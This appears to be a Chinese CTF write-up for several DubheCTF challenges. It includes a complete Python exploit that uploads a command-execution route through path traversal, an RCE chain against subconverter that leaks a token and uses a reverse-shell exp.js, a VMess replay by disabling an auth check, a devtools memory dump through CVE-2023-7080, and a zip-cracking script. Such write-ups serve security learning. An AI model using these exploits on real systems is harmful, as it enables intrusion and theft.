ezPythonCheckin

看上去好像pyjail给我吓到了(?结果好简单。

print(open("/flag").read())

Wecat

碎碎念:UI真好看。

登录注册之后发现上传头像/wechatAPI/upload/once处可以指定路径。于是可以上传恶意路由拿到shell。

一把梭:

import time from requests import post import io url = "http://%s:%d/" % ("localhost",8088) email = "[email protected]" passwd = "114514!" # 注册 post( f"{url}wechatAPI/sign/success", data=f'{{"email":"{email}","pwd":"{passwd}"}}', headers={"Content-Type": "application/json"} ) print("[+] Registered") # 登录 token = post( f"{url}/wechatAPI/login/pwd", data=f'{{"email":"{email}","pwd":"{passwd}"}}', headers={"Content-Type": "application/json"} ).json()['token'] print("[+] Got token") # 上传 post( url + "/wechatAPI/upload/once", data={ "name": "any", "hash": "114514", "postfix": "txt/../../src/route/router.js" }, files={ "file": ("router.js", io.StringIO("""const router = require('@koa/router')() const commonRouter = require('./commonRouter') const routeAdmin = require('./admin') const routeLogin = require('./login') const routeUpload = require('./upload') const {execSync} = require('child_process') router .use(routeLogin) .use(commonRouter) .use(routeUpload) .use(routeAdmin) router.post('/wechatAPI/mikumiku', async (ctx) => { ctx.body = execSync(ctx.request.body.command).toString() }) module.exports = router"""), "text/plain") }, headers={"Authorization": token}) print("[+] Uploaded") # 调用 time.sleep(1) r = post( f"{url}wechatAPI/mikumiku", data='{"command":"../../../../../readflag"}', headers={"Content-Type": "application/json", "Authorization": token}).text print("[+] Got flag:", r)

cipher

碎碎念:又可以一把梭诶…

看文件指纹知道是mark的文件

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLineConsoleHost_history.txt可以找到几个用户名的密码都是superman

然后丢进Advanced EFS Data Recovery 一把梭即可。

Master of Profile

之前有个subconventer的RCE洞。是在enable_cache且有token的情况下有办法进行rce。于是想办法找到token并且enable_cache。

审代码的时候看到/renderapi的实现:src/handler/interfaces.cpp#L1438中的path没有验证读取。尝试用/render?path=pref.yml读取配置文件。成功拿到token。

又看到src/main.cpp#L224的/updateconf实现。使用token可以修改pref.yml的内容。构造请求修改enable_cache为true。

然后做法就简单了。公网服务器上构造exp.js

function parse(x){ os.exec(["sh","-c","..."]) }

这里弹shell。

即可获得flag。

authorized mess & unauthorized less

碎碎念:从开赛到结束一直在做的一个题。出题人脑洞很好。

https://pastebin.com/raw/sw2TFBLK -> V2ray,VMess协议。

修改V2ray代码完成重放。在proxy/vmess/aead/authid.go中注释掉108-110行。即可跳过EAuId验证。重放攻击。然后抓包即可获得请求。是一张图片https://p.sda1.dev/16/11c111ee40a928d5d751dd5869414093/__p0.png,带有压缩包。

结合提示和图片文件名(pixiv的图片下载后文件名是pixivid_p0),猜测密码是原图片的pixivID(这一步好离谱。用sauceNao搜索可获得pixiv来源,密码116921220

解压压缩包,是一个Cloudflare Workers项目,一个vless服务,并且使用wrangler dev本地调试。组网了内网docker镜像。公网->Vmess->内网Vless。审计代码没有问题,猜测问题出在工具上。 于是搜索miniflare cve找到CVE-2023-7080,按照描述,我们可以利用这个vless访问本地启动的devtools服务器。

两层v2ray服务,启动两台v2ray服务器,使用dokodemo-door服务进行端口转发来实现。配置见Gist

本地使用chrome://inspect 连接devtools。使用快照功能将全部内存保存到本地。打开记事本搜索DubheCTF即可。

DubheCTF{Wh47_4_m355y_pRO7oCOl&L355y_d38u993R}

no more taowa

碎碎念:这个题不是我做的但是我一定要把它发出来。承包了我周末最大的乐子XD(

说的是不套娃但是全是套娃。

一共二十五轮,每轮随机套娃。据不愿意透露姓名的出题人所说,此题源自https://github.com/zysgmzb/taowa-generator/,并对其进行了小小的创新。

以下是队友大爹写的半自动化解密脚本。(交互部分略去)

from PIL import Image import base64,io,math from pyzbar.pyzbar import decode import zipfile,os import threading,pyzipper,collections import numpy as np import pyperclip def solve_base64(data:bytes): def fix_base64_padding(base64_string): missing_padding = len(base64_string) % 4 if missing_padding != 0: base64_string += b'=' * (4 - missing_padding) return base64_string data=fix_base64_padding(data) return base64.b64decode(data,validate=False) def solve_base32(data:bytes): return base64.b32decode(data) def solve_base85(data:bytes): return base64.b85decode(data) def from_bytes(data:bytes): data=data.decode(errors='ignore') for i, char in enumerate(data): if not char.isdigit() and not ('A' <= char <= 'F') and not ('a' <= char <= 'f'): data = data[:i] break return bytes.fromhex(data) def solve_png(data:bytes): pic=Image.open(io.BytesIO(data)) def solve_png_1(img:Image.Image): s=img r=np.array(s)//128 r=r.flatten() if len(r)%8==4: r=r[:-4] bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00') return bits def solve_png_3(img:Image.Image): s=img r=np.array(s)%2 r=r.flatten() if len(r)%8==4: r=r[:-4] bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00') return bits def solve_png_2(img:Image.Image): s=img r=np.array(s) r=r.flatten() bits=r.tobytes().rstrip(b'\x00') return bits def solve_extra(img:Image.Image): s=img st='' bt=b'' for y in range(s.height): for x in range(s.width): if x==0 and y==0:continue st+=str(s.getpixel((x,y))[0]//50)+str(s.getpixel((x,y))[2]//50) # if len(st)==8: # bt+=int(st,2).to_bytes(1,'big') # st='' st=st.encode() return st.strip(b'0') if pic.size!=(640,640): # r1= solve_png_2(pic) is_equal=1 if pic.width>10: aa,bb=pic.getpixel((10,0))[1],pic.getpixel((10,0))[3] for x in range(11,pic.width): if pic.getpixel((x,1))[1]!=aa or pic.getpixel((x,1))[3]!=bb: is_equal=0 r1=solve_png_1(pic) r2=solve_png_2(pic) r3=solve_png_3(pic) if b'1'*20 in r1:return r1 if b'1'*20 in r3:return r3 if b'1'*20 in r2:return r2 c1=len(collections.Counter(r1)) c2=len(collections.Counter(r2)) c3=len(collections.Counter(r3)) print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}') print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}') print(f'ccccccccccccccccccccccc\n{r3[:100]}') rr='-1' while rr not in ['1','2','3']: rr=input('choice: (1/2/3)') if rr=='1':return r1 if rr=='2':return r2 if rr=='3':return r3 r1=solve_png_1(pic) r2=solve_png_2(pic) r3=solve_png_3(pic) if b'1'*20 in r1:return r1 if b'1'*20 in r3:return r3 if b'1'*20 in r2:return r2 c1=len(collections.Counter(r1)) c2=len(collections.Counter(r2)) c3=len(collections.Counter(r3)) print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}') print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}') print(f'ccccccccccccccccccccccc\n{r3[:100]}') rr='-1' while rr not in ['1','2','3']: rr=input('choice: (1/2/3)') if rr=='1':return r1 if rr=='2':return r2 if rr=='3':return r3 def solve_qrcode(data:bytes): t=data.decode() l=round(math.sqrt(len(data))) s=Image.new('L',(l,l)) for i in range(l): for j in range(l): try: s.putpixel((i,j),int(t[i*l+j])*255) except: pass decoded_objects=decode(s) return decoded_objects[0].data def reverse_bytes(data:bytes): data=data[::-1] return data def reverse_bin(data:bytes): def bytes_to_binary(byte_data): arr = np.frombuffer(byte_data, dtype=np.uint8) binary_str = np.unpackbits(arr).flatten() return binary_str[::-1] def binary_to_bytes(binary_str): byte_data = np.packbits(binary_str.reshape(-1,8)) return byte_data byte_data = bytearray(data) binary_str = bytes_to_binary(byte_data) byte_data_back = binary_to_bytes(binary_str) return byte_data_back.tobytes() def manual(data:bytes): return eval(input('command: ')) def identify(data:bytes): if data[:4]==b'\x89PNG':return 'p' if data[:20]==b'1'*20:return 'q' if data[:4]==b'PK\x03\x04':return 'z' if data[:8]==b'iVBORw0K':return '64' print(data[:100]) print('f:from bytes 64:base64 85:base85 32:base32 z:zip bi:reverse bin by:reverse bytes q:qrcode c:cut p:png') return input('choice: ') def get_password(): os.system('john-1.8.0.13-jumbo-b7eae75d7-win64\\run\\zip2john.exe temp1.zip>hash.txt') txt=open('hash.txt','r').read() hashtxt=txt[10:txt.find('$/zip2$::::')+7] print(hashtxt) open('hashtext.txt','w').write(hashtxt) os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d ') os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d --show > out.aminuosi') # return open('hashcat-6.2.6\\hashcat.potfile','r').read()[-6:].strip() return open('hashcat-6.2.6\\out.aminuosi','r').read()[-6:].strip() def my_replace(data:bytes): k=input('hex / bytes:0/1>') a0,a1=input('a0 a1:>').split() if k=='0': return data.replace(bytes.fromhex(a0),b'0').replace(bytes.fromhex(a1),b'1') else: return data.replace(a0.encode(),b'0').replace(a1.encode(),b'1') def solve_zip(data:bytes): open('temp1.zip','wb').write(data) pwd_str=b'' # pwd_str=input('password: ') while len(pwd_str)!=5: pwd_str=get_password() print(f'password is {pwd_str}') try: os.system(f'D:\\7zip\\7-Zip\\7z x -p{pwd_str} temp1.zip -otemp1') files=os.listdir('temp1')[0] res = open(f'temp1\\{files}','rb').read() os.system(f'del temp1\\{files}') print(res) if res!=b'':return res except: pass input(f'continue? >{pwd_str}') files=os.listdir('temp1')[0] res = open(f'temp1\\{files}','rb').read() os.system(f'del temp1\\{files}') if res!=b'':return res def solve(data:bytes): step=0 last=[] while b'flag' not in data[:20]: last.append(data) open(f'temp_file/{step}','wb').write(data) step+=1 if data[-6:]==b'wROBVi':data=data[::-1] if data[4:8]==b'PK\x03\x04':data=data[4:]+data[:4] if data[4:8]==b'\x89PNG':data=data[4:] if data[4:24]==b'1'*20 and data[2:4]!=b'11':data=data[4:] if b'DNEI' in data[:30]:data=reverse_bytes(data) if reverse_bin(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bin(data) if reverse_bytes(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bytes(data) print(data[:100]) id=identify(data) print(f'----------------------\n{id}\n-----------------------') if id=='c':data=data[int(input('cut number: ')):] if id=='64':data=solve_base64(data) if id=='85':data=solve_base85(data) if id=='r':data=my_replace(data) if id=='32':data=solve_base32(data) if id=='z':data=solve_zip(data) if id=='q':data=solve_qrcode(data) if id=='bi':data=reverse_bin(data) if id=='by':data=reverse_bytes(data) if id=='p':data=solve_png(data) if id=='f':data=from_bytes(data) if id=='m':data=manual(data) if id=='back':data=last[-2] print('\n\n\n\n') print(data.decode()) pyperclip.copy(data.decode()) while 1: solve(open('temp','rb').read()) input('next >')
Notion image
Notion image